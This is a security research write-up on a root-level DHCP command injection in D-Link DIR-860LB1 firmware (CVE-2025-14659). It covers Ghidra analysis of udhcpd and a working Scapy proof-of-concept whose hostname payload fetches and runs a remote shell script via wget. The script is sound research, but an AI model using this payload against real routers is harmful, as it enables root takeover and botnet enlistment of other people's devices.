
Static analysis (Ghidra) and custom packet-crafting (Scapy) demonstrating a root-level DHCP command injection vulnerability (CVE-2025-14659) in D-Link firmware
Author: Peter Lin
Date: May 2026
Project Pitch: CVE-2025-14659 reported a command injection vulnerability targeting the DHCP daemon component present in the D-Link DIR-860LB1 wireless router running firmware v203b03. This command injection might allow an attacker to execute arbitrary commands with root privileges on this target router when a DHCP client renews an existing lease with a malicious hostname. I will extract the firmware of the DIR-860LB1 device and identify the flaw present in the DHCP daemon (udhcpd) through static analysis using Ghidra. I will then utilize an emulation engine like FirmAE to emulate this router's environment, demonstrating a proof of concept attack against this target.
udhcpd (DHCP Daemon)Looking at the udhcpd_main function in Ghidra, the vulnerability sits right inside the case 3 (DHCPREQUEST) block:
get_option(auStack_254, 0xc).sprintf():
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() call without sanitizing shell characters:
system(acStack_454);
Because the daemon runs as root, adding shell metacharacters (like ; or |) into the hostname allows an attacker to execute arbitrary system commands.
cve_poc.py)This functional Scapy script simulates a malicious client requesting a lease renewal with an injected hostname payload:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
If exploited in the wild, an attacker can use this vulnerability for:
/tmp) to enlist the hardware into DDoS networks.Disclaimer: This project is created strictly for educational purposes, portfolio building, and defensive security research.